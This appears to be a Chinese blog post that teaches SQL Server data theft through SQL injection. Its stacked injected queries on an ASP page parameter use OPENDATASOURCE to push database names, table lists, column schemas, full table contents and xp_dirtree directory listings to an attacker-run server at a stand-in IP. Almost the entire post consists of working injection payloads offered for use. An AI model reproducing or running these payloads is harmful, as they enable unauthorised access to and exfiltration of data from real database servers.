opendatasource使用方法

 
实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.
本机建立库和表,方便反弹时写进东西.

 
程序代码

create database lcx
Create TABLE ku ( name nvarchar ( 256 ) null )
Create TABLE biao ( id int NULL , name nvarchar ( 256 ) null )


得到目标服务器上的所有数据库名:

 
程序代码

insert into opendatasource
( 'sqloledb' , 'server=222.222.222.222;uid=sa;pwd=pass;database=lcx' ). lcx . dbo . ku select name from master . dbo . sysdatabases --


得到当前库:

 
程序代码

insert into opendatasource
( 'sqloledb' , 'server=222.222.222.222;uid=sa;pwd=pass;database=lcx' ). lcx . dbo . ku select db_name ( 0 )--


得到当前库的所有表名

 
程序代码

insert into opendatasource
( 'sqloledb' , 'server=222.222.222.222;uid=sa;pwd=pass;database=lcx' ). lcx . dbo . biao select [ id ],[ name ] from sysobjects where xtype = 'U' --


获得其它库的所有表名

 
程序代码

insert into opendatasource
( 'sqloledb' , 'server=222.222.222.222;uid=sa;pwd=pass;database=lcx' ). lcx . dbo . biao select [ id ],[ name ] from 库名. dbo . sysobjects where xtype = 'U' --


获得当前库指定表名的列
复制一个系统表结构

 
程序代码

1 . select * into [ tmpcolumns ] from syscolumns where 1 = 2
2 . insert into opendatasource ( 'sqloledb' , 'server=222.222.222.222;uid=sa;pwd=pass;database=lcx' ). lcx . dbo . tmpcolumns select * from syscolumns where id = 1723153184 --


//这一步目的是查询当前表的结构,好在本机建立同样的表.

返回表的所有内容

 
程序代码

insert into opendatasource
( 'sqloledb' , 'server=222.222.222.222;uid=sa;pwd=pass;database=lcx' ). lcx . dbo . chong select * from [ chong ]--


复制一个系统表结构 重要的: name 列名 xtype 数据类型 length 长度 //在本机建立一个同样的表
关系表如下:

 
程序代码

=================
when 34 then '' image ''
when 35 then '' text ''
when 52 then '' smallint ''
when 56 then '' int ''
when 61 then '' datetime ''
when 62 then '' float ''
when 108 then '' numeric ''
when 167 then '' varchar ''
when 175 then '' char ''
when 231 then '' nvarchar ''
==================


查路径 实践:

 
程序代码

1 . xx . asp ? id = 1 ; Create TABLE chong ( subdirectory VARCHAR ( 100 ), depth VARCHAR ( 100 ),[ file ] VARCHAR ( 100 ));--
2 . xx . asp ? id = 1 ; Insert chong exec master .. xp_dirtree "C:/",1,1;--
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. Create TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
10. 路径在本机chong里.
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值